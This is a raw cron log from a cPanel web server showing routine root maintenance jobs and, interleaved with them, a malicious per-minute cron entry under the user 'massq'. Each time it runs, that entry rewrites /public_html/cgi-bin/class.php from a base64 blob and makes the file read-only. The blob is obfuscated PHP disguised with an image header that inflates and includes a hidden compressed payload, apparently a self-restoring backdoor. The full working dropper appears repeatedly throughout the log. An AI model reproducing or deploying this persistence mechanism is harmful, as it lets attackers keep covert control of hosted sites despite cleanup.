Aug 30 14:53:01 server CROND[11605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:54:01 server CROND[11963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:54:01 server CROND[11964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:54:01 server CROND[11966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:55:01 server CROND[12342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:55:01 server CROND[12343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:55:01 server CROND[12345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:55:01 server CROND[12344]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:55:01 server CROND[12347]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:55:01 server CROND[12346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:55:01 server CROND[12348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:56:01 server CROND[13188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:56:01 server CROND[13189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:56:01 server CROND[13190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:57:01 server CROND[13548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:57:01 server CROND[13550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:57:01 server CROND[13549]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:57:01 server CROND[13555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:58:01 server CROND[13998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:58:01 server CROND[13999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:58:01 server CROND[14000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:59:01 server CROND[14358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:59:01 server CROND[14359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:59:01 server CROND[14360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:00:01 server CROND[14759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:00:01 server CROND[14761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:00:01 server CROND[14764]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:00:01 server CROND[14768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:00:01 server CROND[14767]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:00:01 server CROND[14765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:00:01 server CROND[14769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:00:01 server CROND[14766]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 15:00:01 server CROND[14770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:01:01 server CROND[15610]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 15:01:01 server CROND[15609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:01:01 server CROND[15613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:01:01 server CROND[15612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:01:01 server run-parts(/etc/cron.hourly)[15610]: starting 0anacron
Aug 30 15:01:01 server run-parts(/etc/cron.hourly)[15631]: finished 0anacron
Aug 30 15:02:01 server CROND[16004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:02:01 server CROND[16005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:02:01 server CROND[16006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:03:01 server CROND[16390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:03:01 server CROND[16392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:03:01 server CROND[16391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:04:01 server CROND[16866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:04:01 server CROND[16867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:04:01 server CROND[16868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:05:01 server CROND[17252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:05:01 server CROND[17256]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:05:01 server CROND[17262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
